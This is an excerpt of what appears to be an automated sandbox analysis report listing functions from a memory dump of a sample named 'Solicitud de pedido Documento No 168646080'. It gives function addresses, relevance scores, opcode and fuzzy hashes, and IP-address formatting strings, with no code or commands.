                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: b0c18c7d226d1f2040dec8dda28fe8c58eb2d7660d523ca7a077dd7d7a9609c1
                                                                                                              • Instruction ID: 191cc6b8e7776320c0d8678724b5985345eded361c43f9afd4542115cab8f85e
                                                                                                              • Opcode Fuzzy Hash: b0c18c7d226d1f2040dec8dda28fe8c58eb2d7660d523ca7a077dd7d7a9609c1
                                                                                                              • Instruction Fuzzy Hash: 7D90023160580012914075584CC4587400DA7E0301B55C011E4425754DCA148A965761
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016A4650 Relevance: .0, Instructions: 4COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 1d48d71ad9fd0cd3f0a6801fc3886fc318d0973a499bb823c0fc77b8f73fc7da
                                                                                                              • Instruction ID: 0a0b73be35ebebe964a2a51b6e135870c53e55873ffa10042b376ec4beb8c530
                                                                                                              • Opcode Fuzzy Hash: 1d48d71ad9fd0cd3f0a6801fc3886fc318d0973a499bb823c0fc77b8f73fc7da
                                                                                                              • Instruction Fuzzy Hash: F590026160150042414075584C44447600DA7E1301395C115A4555760DC61889959769
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 01712410 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 189COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: ___swprintf_l
                                                                                                              • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                                                                                              • API String ID: 48624451-2108815105
                                                                                                              • Opcode ID: 4e70f3ff55c6a05b31fb51f726889251449bd50fe517e124e5e857df05229c64
                                                                                                              • Instruction ID: 8ce93ba936fee8eb39cacb164d57ac25b68fcbd54fd6bdb7e9d7447cdd159260
                                                                                                              • Opcode Fuzzy Hash: 4e70f3ff55c6a05b31fb51f726889251449bd50fe517e124e5e857df05229c64
                                                                                                              • Instruction Fuzzy Hash: 8951F471A00646AECB34DF9CCD9097FFBF9EB44200B248499E896D764BEA74DE408760
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 017120E0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 84COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: ___swprintf_l
                                                                                                              • String ID: %%%u$[$]:%u
                                                                                                              • API String ID: 48624451-2819853543
                                                                                                              • Opcode ID: 7710150f1f4a479d7ecaf92c7abed563ce0a6f6d667e1688bacec09aa26a6734
                                                                                                              • Instruction ID: d78d3312c5168c6fa9a7ecf56fe2c936da7b4ba30629a496a8036995cccb75e0
                                                                                                              • Opcode Fuzzy Hash: 7710150f1f4a479d7ecaf92c7abed563ce0a6f6d667e1688bacec09aa26a6734
                                                                                                              • Instruction Fuzzy Hash: D721627AE00119ABDB10DF7DCC40AFEBBF9EF54650F54011AEA05E3205E730DA019BA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 01712300 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 90COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: ___swprintf_l
                                                                                                              • String ID: %%%u$]:%u
                                                                                                              • API String ID: 48624451-3050659472
                                                                                                              • Opcode ID: e654a42358bd7ff330a611869e837bc799b150dbf3e9aff94b0984151d5bbef6
                                                                                                              • Instruction ID: ccdf128d7beac59fcfe8d3201f2c4c4b305c1b4e91c217b271f23e2a321cf9cb
                                                                                                              • Opcode Fuzzy Hash: e654a42358bd7ff330a611869e837bc799b150dbf3e9aff94b0984151d5bbef6
                                                                                                              • Instruction Fuzzy Hash: DA318672A00219AFDB20DF2DCC40BEEF7F8EB54650F544559E949E3205EB30EA448FA0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%